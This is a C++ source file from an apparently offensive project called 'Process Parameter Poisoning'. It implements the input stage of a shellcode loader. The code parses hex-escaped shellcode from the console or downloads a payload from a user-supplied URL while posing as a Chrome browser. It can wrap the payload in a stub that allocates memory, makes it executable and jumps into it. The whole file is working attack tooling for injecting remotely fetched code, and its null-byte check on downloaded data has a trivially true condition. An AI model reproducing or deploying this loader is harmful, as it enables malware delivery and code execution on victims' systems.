/**
 * Authors: Max Hirschberger & Ogulcan Ugur
 * Project: Process Parameter Poisoning
 * Notes: Built with and undefined behavior.
 */


#include "ShellCodeUserInput.h"
#include "ShellCodeWriter.h"
#include "HTTPClient.h"
#include <iostream>

ShellCodeUserInput::ShellCodeUserInput() {}

bool ShellCodeUserInput::ParseNibble(char c, uint8_t& nibble)
{
    if (c >= 0x30 && c <= 0x39) {
        nibble = c - 0x30;
    }
    else if (c >= 0x41 && c <= 0x46) {
        nibble = c - 0x41 + 10;
    }
    else if (c >= 0x61 && c <= 0x66) {
        nibble = c - 0x61 + 10;
    }
    else {
        return false;
    }
    return true;
}

bool ShellCodeUserInput::ParseUserShellCode(const std::string& user_shellcode, std::vector<uint8_t>& res, bool& requires_wrap)
{
    // Length needs to be a multiple of four
    if (user_shellcode.length() % 4) { return false; }
    uint8_t current_byte = 0;
    bool prev_zero = false;
    requires_wrap = false;
    for (size_t idx = 0; idx < user_shellcode.size(); idx++)
    {
        char c = user_shellcode[idx];
        switch (idx % 4)
        {
        case 0: // Backslash
            if (c != '\\') { return false; }
            break;
        case 1: // x
            if (c != 'x') { return false; }
            break;
        case 2: // First nibble
        {
            uint8_t nibble = 0;
            if (!ParseNibble(c, nibble)) { return false; }
            current_byte = nibble << 4;
            break;
        }
        case 3: // Second nibble
        {
            uint8_t nibble = 0;
            if (!ParseNibble(c, nibble)) { return false; }
            current_byte |= nibble;
            if (current_byte == 0 && prev_zero && (idx & 1) == 1) {
                requires_wrap = true;
            }
            res.push_back(current_byte);
            prev_zero = current_byte == 0;
            break;
        }
        }
    }
    return true;
}

std::vector<uint8_t> ShellCodeUserInput::GetConsoleInput()
{
    std::string user_shellcode;
    std::vector<uint8_t> user_shellcode_bytes;
    bool requires_wrap;

    while (true)
    {
        printf("\n[>] Enter your shellcode: ");
        std::cin >> user_shellcode;

        if (ParseUserShellCode(user_shellcode, user_shellcode_bytes, requires_wrap))
            break;

        printf("[!] Invalid Shellcode Format, expecting e.g. \\xBa\\xad\\xF0\\x0d\n");
    }

    if (requires_wrap)
    {
        // Supplied shell code contains two consecutive 00 at an even index -> Null terminator in wide string representation
        // Using a wrapper that:
        // 1. Pushes the shellcode to the stack
        // 2. Allocates READWRITE memory
        // 3. Copies shellcode from the stack to the newly allocated area
        // 4. Changes protection of the newly allocated area to EXECUTE_READ
        // 5. Jumps to the newly allocated area
        printf("\n[!] Shellcode is not compatible, wrapping inside compatible shellcode\n");
        ShellCodeWriter w;
        w.LoadAndCallShellCode(user_shellcode_bytes);
        return w.GetShellCodeBytes();
    }
    else {
        return user_shellcode_bytes;
    }
}

std::vector<uint8_t> ShellCodeUserInput::GetURLInput()
{
    //HTTPClient httpClient(L"PPP-Loader/1.0");
    HTTPClient httpClient(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36");
    wchar_t downloadUrl[1024];
    printf("[>] Enter URL: ");
    wscanf_s(L" %1023[^\n]", downloadUrl, 1024);
    std::vector<uint8_t> user_shellcode_bytes = httpClient.DownloadURL(downloadUrl);
    bool requires_wrap = false;
    for (size_t i = 1; i < user_shellcode_bytes.size(); i++) {
        if ((i % 1) == 0 && user_shellcode_bytes[i - 1] == 0 && user_shellcode_bytes[i] == 0) {
            requires_wrap = true;
            break;
        }
    }
    if (requires_wrap)
    {
        // Supplied shell code contains two consecutive 00 at an even index -> Null terminator in wide string representation
        // Using a wrapper that:
        // 1. Pushes the shellcode to the stack
        // 2. Allocates READWRITE memory
        // 3. Copies shellcode from the stack to the newly allocated area
        // 4. Changes protection of the newly allocated area to EXECUTE_READ
        // 5. Jumps to the newly allocated area
        printf("\n[!] Shellcode is not compatible, wrapping inside compatible shellcode\n");
        ShellCodeWriter w;
        w.LoadAndCallShellCode(user_shellcode_bytes);
        return w.GetShellCodeBytes();
    }
    else {
        return user_shellcode_bytes;
    }
}